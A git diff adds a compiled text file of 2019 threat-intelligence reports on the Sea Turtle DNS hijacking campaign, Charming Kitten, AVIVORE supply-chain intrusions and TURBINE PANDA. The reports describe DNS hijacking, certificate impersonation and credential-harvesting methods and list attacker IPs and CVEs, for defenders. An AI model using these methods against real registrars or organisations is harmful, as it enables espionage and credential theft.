diff --git "a/2019.clean.txt" "b/2019.clean.txt" new file mode 100644--- /dev/null +++ "b/2019.clean.txt" @@ -0,0 +1,25234 @@ +Sea Turtle keeps on swimming, finds new victims, DNS +hijacking techniques +blog.talosintelligence.com/2019/07/sea-turtle-keeps-on-swimming.html +By Danny Adamitis with contributions from Paul Rascagneres. +Executive summary +After several months of activity, the actors behind the "Sea Turtle" DNS hijacking campaign +are not slowing down. Cisco Talos recently discovered new details that suggest they +regrouped after we published our initial findings and coverage and are redoubling their +efforts with new infrastructure. While many actors will slow down once they are discovered, +this group appears to be unusually brazen, and will be unlikely to be deterred going forward. +Additionally, we discovered a new DNS hijacking technique that we assess with moderate +confidence is connected to the actors behind Sea Turtle. This new technique is similar in +that the threat actors compromise the name server records and respond to DNS requests +with falsified A records. This new technique has only been observed in a few highly targeted +operations. We also identified a new wave of victims, including a country code top-level +domain (ccTLD) registry, which manages the DNS records for every domain uses that +particular country code, that access was used to then compromise additional government +entities. Unfortunately, unless there are significant changes made to better secure DNS, +these sorts of attacks are going to remain prevalent. +New DNS hijacking technique +Talos now has moderate confidence that the threat actors behind Sea Turtle have been +using another DNS hijacking technique. This new technique has been used very sparingly, +and thus far have only identified two entities that were targeted in 2018, though we believe +there are likely more. +This new technique once again involved modifying the target domain's name server records +to point legitimate users to the actor-controlled server. In this case, the actor-controlled +name server and the hijacked hostnames would both resolve to the same IP address for a +short period of time, typically less than 24 hours. In both observed cases, one of the +hijacked hostnames would reference an email service and the threat actors would +presumably harvest user credentials. One aspect of this technique that makes it extremely +difficult to track is that the actor-controlled name servers were not used across multiple +targets + meaning that every entity hijacked with this technique had its own dedicated +name server hostname and its own dedicated IP address. Whereas previously reported +name server domains such as ns1[.]intersecdns[.]com were used to target multiple +organizations. +In one case, a private organization primarily used a third-party service as their authoritative +name server. Then, for a three-hour window in January 2018, their name server records +were changed to a name server hostname that mimicked a slightly different version of the +organization's name. During that three-hour window, the actor-controlled IP address hosted +three hostnames, the two actor-controlled name servers and the webmail hostname. This +would allow the threat actors to perform a man-in-the-middle (MitM) attack, as outlined in +our previous post, and harvest credentials. This technique was also observed against a +government organizations in the Middle East and North African region. +Continued activity against ccTLD +The Institute of Computer Science of the Foundation for Research and Technology - Hellas +(ICS-Forth), the ccTLD for Greece, acknowledged on its public website that its network had +been compromised on April 19, 2019. Based on Cisco telemetry, we determined that the +actors behind the Sea Turtle campaign had access to the ICS-Forth network. +Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICSForth network from an operational command and control (C2) node. Our telemetry +indicates that the actors maintained access in the ICS-Forth network through at least April +24, five days after the statement was publicly released. Upon analysis of this operational C2 +node, we determined that it was also used to access an organization in Syria that was +previously redirected using the actor-controlled name server ns1[.]intersecdns[.]com. This +indicates that the same threat actors were behind both operations. +We also saw evidence that the threat actors researched the open-source tool PHP-Proxy. +Notably, this particular C2 node searched for both blog.talosintelligence.com and +ncsc.gov.uk, presumably to view Talos' previous reports on DNS hijacking and this DNS +hijacking advisory from the United Kingdom's National Cyber Security Centre. +New actor-controlled nameserver +We recently discovered a new actor-controlled nameserver, rootdnservers[.]com, that +exhibited similar behavior patterns as name servers previously utilized as part of the Sea +Turtle campaign. The domain rootdnservers[.]com was registered on April 5, 2019 through +the registrar NameCheap. The new actor-controlled name server rootdnservers[.]com was +utilized to perform DNS hijacking against three government entities that all used .gr, the +Greek ccTLD. It's likely that these hijackings were performed through the access the threat +actors obtained in the ICS-Forth network. Below is a table showing the three most recent +actor-controlled name servers that we have associated with this activity and their current +operational status. +Hostnames +IP addresses +Operational Status +ns1[.]rootdnservers[.]com. +45[.]32[.]100[.]62 +Active +ns2[.]rootdnservers[.]com. +45[.]32[.]100[.]62 +Active +ns1[.]intersecdns[.]com +95[.]179[.]150[.]101 +Inactive +ns2[.]intersecdns[.]com +95[.]179[.]150[.]101 +Inactive +New IP addresses associated with man-in-the-middle activity +By identifying the targeted domains, we were able to identify the hijacked hostnames and +the corresponding actor-controlled MitM nodes. The threat actors, again employing +previously documented tradecraft, by performing a "certificate impersonation" technique. +This is where the threat actors procure an SSL certificate for the targeted hostname from a +different SSL provider. Below is a table showing the dates and associated IP addresses. +Date +IP address +April 13, 2019 +95[.]179[.]131[.]225 +April 16, 2019 +95[.]179[.]131[.]225 +April 11, 2019 +95[.]179[.]131[.]225 +April 11, 2019 +140[.]82[.]58[.]253 +April 10, 2019 +95[.]179[.]156[.]61 +Updated victimology +Since our initial report, Sea Turtle has continued to compromise a number of different +entities to fulfill their requirements. We have identified some of the new primary targets as: +Government organizations +Energy companies +Think tanks +International non-governmental organizations +At least one airport +In terms of secondary targets, we have seen very similar targets as those previously +reported, such as telecommunications providers, internet service providers and one +registry. +Coverage and mitigations +In order to best protect against this type of attack, we compiled a list of potential actions. We +have included additional security recommendations, that were highlighted by Bill Woodcock +during his presentations on DNS/IMAP attacks. +We recommend implementing multi-factor authentication, such as DUO, to secure the +management of your organization's DNS records at your registrar, and to connect +remotely to your corporate network via a Virtual Private Network (VPN). +Talos suggests a registry lock service on your domain names, which will require the +registrar to provide an out-of-band confirmation before the registry will process any +changes to an organization's DNS record. +DNSSEC sign your domains, either in-house, or using a DNS service provider which +performs DNSSEC key-management services. +DNSSEC validate all DNS lookups in your recursive resolver, either using in-house +nameservers, or a service like Cisco Umbrella / OpenDNS. +Make Internet Message Access Protocol (IMAP) email servers accessible only from your +corporate LAN and to users who have already authenticated over a VPN. +If you suspect you were targeted by this type of activity, we recommend instituting a +network-wide password reset, preferably from a computer on a trusted network. +Lastly, network administrators can monitor passive DNS record on their domains, to +check for abnormalities. +Indicators of compromise +IP address +Characterization +Date Range +185[.]64[.]105[.]100 +Operational Node +March - April 2019 +178[.]17[.]167[.]51 +Operational Node +June 2019 +95[.]179[.]131[.]225 +Mitm Node +April 2019 +140[.]82[.]58[.]253 +Mitm Node +April 2019 +95[.]179[.]156[.]61 +Mitm Node +April 2019 +196[.]29[.]187[.]100 +Mitm Node +December 2018 +188[.]226[.]192[.]35 +Mitm Node +January 2018 +ns1[.]rootdnservers[.]com +Actor-controlled nameserver +April 2019 +ns2[.]rootdnservers[.]com +Actor-controlled nameserver +April 2019 +45[.]32[.]100[.]62 +Hosted malicious nameserver +April 2019 +ns1[.]intersecdns[.]com +Actor-controlled nameserver +February - April 2019 +ns2[.]intersecdns[.]com +Actor-controlled nameserver +February - April 2019 +95[.]179[.]150[.]101 +Hosted malicious nameserver +February - July 2019 +DNS Hijacking Abuses Trust In Core Internet Service +blog.talosintelligence.com/2019/04/seaturtle.html +Authors: Danny Adamitis, David Maynor, Warren Mercer, Matthew Olney and Paul Rascagneres. +Update 4/18: A correction has been made to our research based on feedback from Packet +Clearing House, we thank them for their assistance +Preface +This blog post discusses the technical details of a state-sponsored attack manipulating DNS +systems. While this incident is limited to targeting primarily national security organizations +in the Middle East and North Africa, and we do not want to overstate the consequences of +this specific campaign, we are concerned that the success of this operation will lead to +actors more broadly attacking the global DNS system. DNS is a foundational technology +supporting the Internet. Manipulating that system has the potential to undermine the trust +users have on the internet. That trust and the stability of the DNS system as a whole drives +the global economy. Responsible nations should avoid targeting this system, work together +to establish an accepted global norm that this system and the organizations that control it +are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this +system. +Executive Summary +1/13 +Cisco Talos has discovered a new cyber threat campaign that we are calling "Sea Turtle," +which is targeting public and private entities, including national security organizations, +located primarily in the Middle East and North Africa. The ongoing operation likely began as +early as January 2017 and has continued through the first quarter of 2019. Our investigation +revealed that at least 40 different organizations across 13 different countries were +compromised during this campaign. We assess with high confidence that this activity is +being carried out by an advanced, state-sponsored actor that seeks to obtain persistent +access to sensitive networks and systems. +The actors behind this campaign have focused on using DNS hijacking as a mechanism for +achieving their ultimate objectives. DNS hijacking occurs when the actor can illicitly modify +DNS name records to point users to actor-controlled servers. The Department of Homeland +Security (DHS) issued an alert about this activity on Jan. 24 2019, warning that an attacker +could redirect user traffic and obtain valid encryption certificates for an organization's +domain names. +In the Sea Turtle campaign, Talos was able to identify two distinct groups of victims. The first +group, we identify as primary victims, includes national security organizations, ministries of +foreign affairs, and prominent energy organizations. The threat actor targeted third-party +entities that provide services to these primary entities to obtain access. Targets that fall into +the secondary victim category include numerous DNS registrars, telecommunication +companies, and internet service providers. One of the most notable aspects of this +campaign was how they were able to perform DNS hijacking of their primary victims by first +targeting these third-party entities. +We assess with high confidence that these operations are distinctly different and +independent from the operations performed by DNSpionage, which we reported on in +November 2018. The Sea Turtle campaign almost certainly poses a more severe threat than +DNSpionage given the actor's methodology in targeting various DNS registrars and +registries. The level of access we presume necessary to engage in DNS hijacking successfully +indicates an ongoing, high degree of threat to organizations in the targeted regions. Due to +the effectiveness of this approach, we encourage all organizations, globally, to ensure they +have taken steps to minimize the possibility of malicious actors duplicating this attack +methodology. +The threat actors behind the Sea Turtle campaign show clear signs of being highly capable +and brazen in their endeavors. The actors are responsible for the first publicly confirmed +case against an organizations that manages a root server zone, highlighting the attacker's +sophistication. Notably, the threat actors have continued their attacks despite public reports +documenting various aspects of their activity, suggesting they are unusually brazen and +may be difficult to deter going forward. In most cases, threat actors typically stop or slow +down their activities once their campaigns are publicly revealed. +2/13 +This post provides the technical findings you would typically see in a Talos blog. We will also +offer some commentary on the threat actor's tradecraft, including possible explanations +about the actor's attack methodology and thought process. Finally, we will share the IOCs +that we have observed thus far, although we are confident there are more that we have not +seen. +Background on Domain Name Services and records management +The threat actors behind the Sea Turtle campaign were successful in compromising entities +by manipulating and falsifying DNS records at various levels in the domain name space. This +section provides a brief overview of where DNS records are managed and how they are +accessed to help readers better understand how these events unfolded. +The first and most direct way to access an organization's DNS records is through the +registrar with the registrant's credentials. These credentials are used to login to the DNS +provider from the client-side, which is a registrar. If an attacker was able to compromise an +organization's network administrator credentials, the attacker would be able to change that +particular organization's DNS records at will. +The second way to access DNS records is through a DNS registrar, sometimes called +registrar operators. A registrar sells domain names to the public and manages DNS records +on behalf of the registrant through the domain registry. Records in the domain registry are +accessed through the registry application using the Extensible Provisioning Protocol (EPP). +EPP was detailed in the request for comment (RFC) 5730 as "a means of interaction between +a registrar's applications and registry applications." If the attackers were able to obtain one +of these EPP keys, they would be able to modify any DNS records that were managed by that +particular registrar. +The third approach to gain access to DNS records is through one of the registries. These +registries manage any known TLD, such as entire country code top-level domains (ccTLDs) +and generic top-level domains (gTLDs). For example, Verisign manages all entities associated +with the top-level domain (TLD) ".com." All the different registry information then converges +into one of 12 different organization that manage different parts of the domain registry root. +The domain registry root is stored on 13 "named authorities in the delegation data for the +root zone," according to ICANN. +Finally, actors could target root zone servers to modify the records directly. It is important to +note that there is no evidence during this campaign (or any other we are aware of) that the +root zone servers were attacked or compromised. We highlight this as a potential avenue +that attackers would consider. The root DNS servers issued a joint statement that stated, +"There are no signs of lost integrity or compromise of the content of the root [server] zone +There are no signs of clients having received unexpected responses from root servers." +3/13 +Assessed Sea Turtle DNS hijacking methodology +It is important to remember that the DNS hijacking is merely a means for the attackers to +achieve their primary objective. Based on observed behaviors, we believe the actor +ultimately intended to steal credentials to gain access to networks and systems of interest. +To achieve their goals, the actors behind Sea Turtle: +1. Established a means to control the DNS records of the target. +2. Modified DNS records to point legitimate users of the target to actor-controlled +servers. +3. Captured legitimate user credentials when users interacted with these actorcontrolled servers. +The diagram below illustrates how we believe the actors behind the Sea Turtle campaign +used DNS hijacking to achieve their end goals. +Redirection Attack Methodology Diagram +4/13 +Operational tradecraft +Initial access +The threat actors behind the Sea Turtle campaign gained initial access either by exploiting +known vulnerabilities or by sending spear-phishing emails. Talos believes that the threat +actors have exploited multiple known CVEs to either gain initial access or to move laterally +within an affected organization. Based on our research, we know the actor utilizes the +following known exploits: +CVE-2009-1151: PHP code injection vulnerability affecting phpMyAdmin +CVE-2014-6271: RCE affecting GNU bash system, specifically the SMTP (this was part of +the Shellshock CVEs) +CVE-2017-3881: RCE by unauthenticated user with elevated privileges Cisco switches +CVE-2017-6736: Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 +CVE-2017-12617: RCE affecting Apache web servers running Tomcat +CVE-2018-0296: Directory traversal allowing unauthorized access to Cisco Adaptive +Security Appliances (ASAs) and firewalls +5/13 +CVE-2018-7600: RCE for Website built with Drupal, aka "Drupalgeddon" +As of early 2019, the only evidence of the spear-phishing threat vector came from a +compromised organization's public disclosure. On January 4, Packet Clearing House, which +is not an Internet exchange point but rather is an NGO which provides support to Internet +exchange points and the core of the domain name system, provided confirmation of this +aspect of the actors + tactics when it publicly revealed its internal DNS had been briefly +hijacked as a consequence of the compromise at its domain registrar. +As with any initial access involving a sophisticated actor, we believe this list of CVEs to be +incomplete. The actor in question can leverage known vulnerabilities as they encounter a +new threat surface. This list only represents the observed behavior of the actor, not their +complete capabilities. +Globalized DNS hijacking activity as an infection vector +During a typical incident, the actor would modify the NS records for the targeted +organization, pointing users to a malicious DNS server that provided actor-controlled +responses to all DNS queries. The amount of time that the targeted DNS record was +hijacked can range from a couple of minutes to a couple of days. This type of activity could +give an attacker the ability to redirect any victim who queried for that particular domain +around the world. Other cybersecurity firms previously reported some aspects of this +activity. Once the actor-controlled name server was queried for the targeted domain, it +would respond with a falsified "A" record that would provide the IP address of the actorcontrolled MitM node instead of the IP address of the legitimate service. In some instances, +the threat actors modified the time-to-live (TTL) value to one second. This was likely done to +minimize the risk of any records remaining in the DNS cache of the victim machine. +During 2019, we observe the following name servers being used in support of the Sea Turtle +campaign: +Domain +Active Timeframe +ns1[.]intersecdns[.]com +March - April 2019 +ns2[.]intersecdns[.]com +March - April 2019 +ns1[.]lcjcomputing[.]com +January 2019 +ns2[.]lcjcomputing[.]com +January 2019 +6/13 +Credential harvesting: Man-in-the-middle servers +Once the threat actors accessed a domain's DNS records, the next step was to set up a manin-the-middle (MitM) framework on an actor-controlled server. +The next step for the actor was to build MitM servers that impersonated legitimate services +to capture user credentials. Once these credentials were captured, the user would then be +passed to the legitimate service. to evade detection, the actors performed "certificate +impersonation," a technique in which the attacker obtained a certificate authority-signed +X.509 certificate from another provider for the same domain imitating the one already used +by the targeted organization. For example, if a DigiCert certificate protected a website, the +threat actors would obtain a certificate for the same domain but from another provider, +such as Let's Encrypt or Comodo. This tactic would make detecting the MitM attack more +difficult, as a user's web browser would still display the expected "SSL padlock" in the URL +bar. +When the victim entered their password into the attacker's spoofed webpage, the actor +would capture these credentials for future use. The only indication a victim received was a +brief lag between when the user entered their information and when they obtained access +to the service. This would also leave almost no evidence for network defenders to discover, +as legitimate network credentials were used to access the accounts. +In addition to the MitM server IP addresses published in previous reports, Talos identified +16 additional servers leveraged by the actor during the observed attacks. The complete list +of known malicious IP addresses are in the Indicators of Compromise (IOC) section below. +Credential harvesting with compromised SSL certificates +Once the threat actors appeared to have access to the network, they stole the organization's +SSL certificate. The attackers would then use the certificate on actor-controlled servers to +perform additional MitM operations to harvest additional credentials. This allowed the +actors to expand their access into the targeted organization's network. The stolen +certificates were typically only used for less than one day, likely as an operational security +measure. Using stolen certificates for an extended period would increase the likelihood of +detection. In some cases, the victims were redirected to these actor-controlled servers +displaying the stolen certificate. +One notable aspect of the campaign was the actors' ability to impersonate VPN applications, +such as Cisco Adaptive Security Appliance (ASA) products, to perform MitM attacks. At this +time, we do not believe that the attackers found a new ASA exploit. Rather, they likely +7/13 +abused the trust relationship associated with the ASA's SSL certificate to harvest VPN +credentials to gain remote access to the victim's network. This MitM capability would allow +the threat actors to harvest additional VPN credentials. +As an example, DNS records indicate that a targeted domain resolved to an actor-controlled +MitM server. The following day, Talos identified an SSL certificate with the subject common +name of "ASA Temporary Self Signed Certificate" associated with the aforementioned IP +address. This certificate was observed on both the actor-controlled IP address and on an IP +address correlated with the victim organization. +In another case, the attackers were able to compromise NetNod, a non-profit, independent +internet infrastructure organization based in Sweden. NetNod acknowledged the +compromise in a public statement on February 5, 2019. Using this access, the threat actors +were able to manipulate the DNS records for sa1[.]dnsnode[.]net. This redirection allowed +the attackers to harvest credentials of administrators who manage domains with the TLD of +Saudi Arabia (.sa). It is likely that there are additional Saudi Arabia-based victims from this +attack. +In one of the more recent campaigns on March 27, 2019, the threat actors targeted the +Sweden-based consulting firm Cafax. On Cafax's public webpage, the company states that +one of their consultants actively manages the i[.]root-server[.]net zone. NetNod managed +this particular DNS server zone. We assess with high confidence that this organization was +targeted in an attempt to re-establish access to the NetNod network, which was previously +compromised by this threat actor. +Primary and secondary victims +8/13 +We identified 40 different organizations that have been targeted during this campaign. The +victim organizations appear to be broadly grouped into two different categories. The first +group of victims, which we refer to as primary victims, were almost entirely located in the +Middle East and North Africa. Some examples of organizations that were compromised +include: +Ministries of foreign affairs +Military organizations +Intelligence agencies +Prominent energy organizations +The second cluster of victim organizations were likely compromised to help enable access to +these primary targets. These organizations were located around the world; however, they +were mostly concentrated in the Middle East and North Africa. Some examples of +organizations that were compromised include: +Telecommunications organizations +Internet service providers +Information technology firms +Registrars +One registry +Notably, the threat actors were able to gain access to registrars that manage ccTLDs for +Amnic, which is listed as the technical contact on IANA for the ccTLD .am. Obtaining access +to this ccTLD registrars would have allowed attackers to hijack any domain that used those +ccTLDs. +How is this tradecraft different? +The threat actors behind the Sea Turtle campaign have proven to be highly capable, as they +have been able to perform operations for over two years and have been undeterred by +public reports documenting various aspects of their activity. This cyber threat campaign +represents the first known case of a domain name registry organization that was +compromised for cyber espionage operations. +In order to distinguish this activity from the previous reporting on other attackers, such as +those affiliated with DNSpionage, below is a list of traits that are unique to the threat actors +behind the Sea Turtle campaign: +These actors perform DNS hijacking through the use of actor-controlled name servers. +These actors have been more aggressive in their pursuit targeting DNS registries and a +number of registrars, including those that manage ccTLDs. +These actors use Let's Encrypts, Comodo, Sectigo, and self-signed certificates in their +9/13 +MitM servers to gain the initial round of credentials. +Once they have access to the network, they steal the organization's legitimate SSL +certificate and use it on actor-controlled servers. +Why was it so successful? +We believe that the Sea Turtle campaign continues to be highly successful for several +reasons. First, the actors employ a unique approach to gain access to the targeted networks. +Most traditional security products such as IDS and IPS systems are not designed to monitor +and log DNS requests. The threat actors were able to achieve this level of success because +the DNS domain space system added security into the equation as an afterthought. Had +more ccTLDs implemented security features such as registrar locks, attackers would be +unable to redirect the targeted domains. +The threat actors also used an interesting techniques called certificate impersonation. This +technique was successful in part because the SSL certificates were created to provide +confidentiality, not integrity. The attackers stole organizations' SSL certificates associated +with security appliances such as ASA to obtain VPN credentials, allowing the actors to gain +access to the targeted network. +The threat actors were able to maintain long term persistent access to many of these +networks by utilizing compromised credentials. +We will continue to monitor Sea Turtle and work with our partners to understand the threat +as it continues to evolve to ensure that our customers remain protected and the public is +informed. +Mitigation strategy +In order to best protect against this type of attack, we compiled a list of potential actions. +Talos suggests using a registry lock service, which will require an out-of-band message +before any changes can occur to an organization's DNS record. If your registrar does not +offer a registry lock service, we recommend implementing multi-factor authentication, such +as DUO, to access your organization's DNS records. If you suspect you were targeted by this +type of activity intrusion, we recommend instituting a network-wide password reset, +preferably from a computer on a trusted network. Lastly, we recommend applying patches, +especially on internet-facing machines. Network administrators can monitor passive DNS +record on their domains, to check for abnormalities. +Coverage +CVE-2009-1151: PHP code injection vulnerability affecting phpMyAdmin +SID: 2281 +10/13 +CVE-2014-6271: RCE affecting GNU bash system, specific the SMTP (this was part of the +Shellshock CVEs) +SID: 31975 - 31978, 31985, 32038, 32039, 32041 - 32043, 32069, 32335, 32336 +CVE-2017-3881: RCE for Cisco switches +SID: 41909 - 41910 +CVE-2017-6736: Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 +SID: 43424 - 43432 +CVE-2017-12617: RCE affecting Apache web servers running Tomcat +SID: 44531 +CVE-2018-0296: Directory traversal to gain unauthorized access to Cisco Adaptive Security +Appliances (ASAs) and Firewalls +SID: 46897 +CVE-2018-7600: RCE for Website built with Drupal aka "Drupalgeddon" +SID: 46316 +Indicators of Compromise +The threat actors utilized leased IP addresses from organizations that offer virtual private +server (VPS) services. These VPS providers have since resold many of these IP addresses to +various benign customers. To help network defenders, we have included the IP address, as +well as the month(s) that the IP address was associated with the threat actor. +IP address +Month +Year +Country of targets +199.247.3.191 +November +2018 +Albania, Iraq +37.139.11.155 +November +2018 +Albania, UAE +185.15.247.140 +January +2018 +Albania +206.221.184.133 +November +2018 +Egypt +188.166.119.57 +November +2018 +Egypt +185.42.137.89 +November +2018 +Albania +82.196.8.43 +October +2018 +Iraq +159.89.101.204 +December - January +2018-2019 +Turkey, Sweden, Syria, Armenia, US +146.185.145.202 +March +2018 +Armenia +11/13 +178.62.218.244 +December - January +2018-2019 +UAE, Cyprus +139.162.144.139 +December +2018 +Jordan +142.54.179.69 +January - February +2017 +Jordan +193.37.213.61 +December +2018 +Cyprus +108.61.123.149 +February +2019 +Cyprus +212.32.235.160 +September +2018 +Iraq +198.211.120.186 +September +2018 +Iraq +146.185.143.158 +September +2018 +Iraq +146.185.133.141 +October +2018 +Libya +185.203.116.116 +2018 +95.179.150.92 +November +2018 +174.138.0.113 +September +2018 +128.199.50.175 +September +2018 +139.59.134.216 +July - December +2018 +United States, Lebanon +45.77.137.65 +March - April +2019 +Syria, Sweden +142.54.164.189 +March - April +2019 +Syria +199.247.17.221 +March +2019 +Sweden +The following list contains the threat actor name server domains and their IP address. +Domain +Active Timeframe +IP address +ns1[.]intersecdns[.]com +March - April 2019 +95.179.150.101 +ns2[.]intersecdns[.]com +March - April 2019 +95.179.150.101 +ns1[.]lcjcomputing[.]com +January 2019 +95.179.150.101 +ns2[.]lcjcomputing[.]com +January 2019 +95.179.150.101 +12/13 +13/13 +The Kittens Are Back in Town 2 +Charming Kitten Campaign Keeps Going on, +Using New Impersonation Methods +October 2019 +TLP:WHITE +2019 All rights reserved to ClearSky Security Ltd. +TLP: WHITE - Subject to standard copyright rules, information may be distributed freely, without restriction. +October 2019 +Table of Content +Introduction .................................................................................................................3 +About Charming Kitten ..................................................................................................4 +Attack Vector ...............................................................................................................5 +Impersonation Vectors ..................................................................................................5 +Digital Infrastructure ................................................................................................... 14 +Indicators of Compromise ............................................................................................ 17 +October 2019 +Introduction +https://www.clearskysec.com/the-kittens-are-back-in-town/ +October 2019 +About Charming Kitten +See corresponding footnote for relevant references4. +2015 - https://www.clearskysec.com/thamar-reservoir/ +2017 - https://www.clearskysec.com/charmingkitten/ +2018 - https://www.bleepingcomputer.com/news/security/iranian-apt-poses-as-israeli-cybersecurity-firm-that-exposed-its-operations/ +March 2019 - https://noticeofpleadings.com/phosphorus/files/Complaint.pdf +September 2019 + https://www.clearskysec.com/the-kittens-are-back-in-town/ +October 2019 - https://blogs.microsoft.com/on-the-issues/2019/10/04/recent-cyberattacks-requireus-all-to-be-vigilant/ +October 2019 +Attack Vector +Impersonation Vectors +First Vector - A message with a link pretending to be Google Drive +October 2019 +October 2019 +October 2019 +October 2019 +Second Vector + An SMS message +October 2019 +Third Vector + Login attempt alert message +October 2019 +Fourth Vector + Social Networks imperonation +October 2019 +Note that the domains that are presented in the directory are related to the impersonation subject +and not the malicious domain. +October 2019 +https://www.niacouncil.org/about-niac/staff-board/nooshin-sadegh-samimi/ +October 2019 +Digital Infrastructure +October 2019 +https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-fromhacking/ +October 2019 +https://noticeofpleadings.com/strontium/files/prop_ord_dj_pi_appc.pdf +October 2019 +Indicators of Compromise +ClearSky Cyber Intelligence Report +Photo by 42 North on Unsplash +https://unsplash.com/photos/OE7H8Zp1 +2019 All rights reserved to ClearSky Security Ltd. +TLP: WHITE - The content of the document is solely for internal use. Distributing the report outside of recipient organization is +not permitted. +2019 All rights reserved to ClearSky Security Ltd. +TLP: WHITE - Subject to standard copyright rules, information may be distributed freely, without restriction. +AVIVORE + Hunting Global Aerospace through the Supply +Chain +contextis.com/en/blog/avivore +Until now, most prominent supply chain intrusions have been "vertical"; initial victims are +typically Managed Services Providers or software vendors leveraged by attackers to move +up or down the supply chain. However, since summer 2018, Context Information Security +has been investigating a series of incidents targeting UK and European Aerospace and +Defence that are best described as "horizontal". Advanced attackers have been leveraging +direct connectivity between suppliers and partners who are integrated into each other +value chains. We have been tracking this activity under the codename AVIVORE. +Affected victims include large multinational firms (Primes) and smaller engineering or +consultancy firms within their supply chain (Secondaries). Context has worked closely with +victims, the National Cyber Security Centre (NCSC), security organisations, and law +enforcement agencies across Europe to reduce impact and prevent further compromise. +Who is AVIVORE? +Context categorises AVIVORE as a previously unknown and untracked nation-state level +adversary, whose operators + working hours appear to correlate to a time zone of UTC +8. +The primary objective for their intrusions is believed to be espionage, as well as access +enablement through supply chain partners. +Recent reporting into incidents affecting Aerospace and Defence Primes has speculated that +either APT10 or JSSD (Jiangsu Province Ministry of State Security) may be responsible for this +activity. Whilst certain similarities between these adversaries' campaigns and those +investigated by Context exist, the Tactics, Techniques and Procedures (TTPs), infrastructure +and tooling observed differ significantly. Whilst involvement of these named adversaries +cannot be ruled out, available evidence suggests this campaign is the work of a separate +adversary group. +Capable and Adaptable +AVIVORE showed themselves to be highly capable; adept at both +living-off-the-land +(masquerading as legitimate users) and in their operational security awareness; including +forensically covering their tracks. They demonstrated detailed knowledge of key individuals +associated with projects of interest, and were able to successfully mirror working times and +patterns of these users to avoid arousing suspicions. They were also able to manipulate +victim environments and security controls to facilitate and obfuscate their activities (e.g. +modifying firewall rules to accept RDP over alternate ports; establishing hosts within the +victim environment as remote access proxies). AVIVORE +s attack methodology for the linked +intrusions followed a relatively set-format: +Access into victim through leverage of compromised user credentials and legitimate +external remote access services; +Escalate privileges within victim environment via abuse of legitimate tools and/or +highly privileged service and enterprise administrator accounts; +Conduct account and host enumeration using 'net' commands; +Schedule execution of scripts and tooling run in the context of the +SYSTEM + user; +Remove forensic artefacts of scripts & tooling, and clearing of event logs following +execution; +Use of RDP for lateral movement around the victim environment. +Infrastructure and Tooling +AVIVORE made extensive use of infrastructure providing interconnectivity between victims; +affected Secondaries are often suppliers to multiple Primes and frequently maintain direct +network connectivity via Virtual Private Networks (VPNs) or other remote and collaborative +working solutions. AVIVORE exploited this relationship to bypass the (generally welldefended) perimeters of the Primes, evading critical controls and taking advantage of the +challenges many organisations face in cross-boundary coordination. +This technique, referred to as "Island Hopping", allowed AVIVORE to chain activity across +multiple business units (with local IT and security teams operating independently) or +geographical locales within victim environments. Where Context had visibility of victimfacing network infrastructure employed by AVIVORE, it primarily consisted of commercial +VPN infrastructure located in Singapore and Japan, as well as Tor. This all served to +obfuscate the origin of AVIVORE +s connections into victim networks and made investigation +challenging. +AVIVORE demonstrated a preference for in-built system tooling and abuse of legitimate +software. They introduced network scanning and certificate extractions tools, as well as +Windows SysInternals tools such as ProcDump, across multiple victim environments. These +binaries were renamed to imitate Windows DLLs and staged in file system locations +associated with compatibility and performance logging. Such tools were typically executed +on remote systems using scheduled tasks and then removed, together with their output, +following execution. +Multiple instances of the PlugX Remote Access Trojan were discovered on compromised +hosts. Evidence suggested these implants were deployed between October 2015 and +October 2016. File system artefacts indicated that attackers may have interacted with them +between deployment and the 2018 intrusions. Although direct interaction with these +implants was not observed during the investigation period, Context assess with lowmoderate confidence that they may be associated to the AVIVORE intrusions. Evidence +indicated that some of the implants were patched in-memory, with modified configuration +blocks injected post-execution to provide new C2 domains during times AVIVORE operators +were active inside victim environments. +Future Recommendations and Mitigations +Though the majority of activity investigated by Context has taken place since Jan/Feb 2018, +artefacts from some victim environments indicate that AVIVORE likely maintained persistent +access since October 2015, and potentially even earlier. Therefore, it is possible that this is a +small portion of a broader campaign. In addition to Aerospace and Defence engineering +victims, Context has seen AVIVORE target assets related to a number of other verticals +including: +Automotive +Consultancy +Energy/Nuclear +Space and Satellite Technology +Based on the information and assets sought by AVIVORE, Context assesses with moderate +confidence that the objective of the recent campaign was intellectual property theft from +victim organisations. Although defence against advanced nation-state level actors can be +challenging, Context recommend the following mitigations to disrupt future AVIVORE +activity: +Impose access limitations on supplier connections over VPNs, such as preventing their +use outside of the supplier +s business hours or from IP addresses and locations other +than those pre-agreed, and restrict access only to data and assets they require to +perform their actions. +Ensure that security measures, such as multifactor authentication and enhanced +auditing/logging are deployed to hosts and services into which suppliers are required +to connect, in order to prevent or support the investigation of any suspicious user +behaviour. +Ensure that external remote access services implement appropriate log retention. +Logs should contain enough information on the sources of inbound connections to +enable identification of anomalies, such as concurrent log-ins with impossible +geography. +Ensure that credentials for highly privileged accounts and remote services are stored +securely, and their use is appropriately monitored. Hosts such as domain controllers, +sensitive file shares and Public Key Infrastructure servers, should also be subject to +particular additional scrutiny and monitoring. +Where possible, applications, documentation and technical information related to +network infrastructure and configuration of remote access services should be made +available only to engineers, IT support staff and other individuals with legitimate +business need. +INTELLIGENCE +REPORT: +HUGE FAN OF YOUR WORK: +How TURBINE PANDA and China's Top Spies Enabled +Beijing to Cut Corners on the C919 Passenger Jet +PUBLISHED OCTOBER 2019 +CROWDSTRIKE GLOBAL INTELLIGENCE TEAM +web: WWW.CROWDSTRIKE.COM | twitter: @CROWDSTRIKE email: +INTELLIGENCE@CROWDSTRIKE.COM +This report is provided for situational awareness and network defense purposes only. +DO NOT conduct searches on, communicate with, or engage any individuals, organizations, or network +addresses identified in this report. Doing so may put you or your employer at risk and jeopardize +ongoing investigation efforts. Copyright 2019 +V1. 12/05VV1 +FORWARD +Rarely in the infosec industry do cyber investigators get the luxury of knowing the full scope of their +adversary +s campaign +from tasking, to actual operations, all the way to completion. The oft-repeated +mantra +Attribution is hard + largely stands true. Short of kicking down the door just as a cyber actor +pushes enter, it is frustratingly hard to prove who is responsible for cyber attacks with 100% certainty. +However, a series of recent U.S. Department of Justice (DoJ) indictments released over the course of +two years, combined with CrowdStrike Intelligence +s own research, has allowed for startling visibility +into a facet of China +s shadowy intelligence apparatus. +In this blog, we take a look at how Beijing 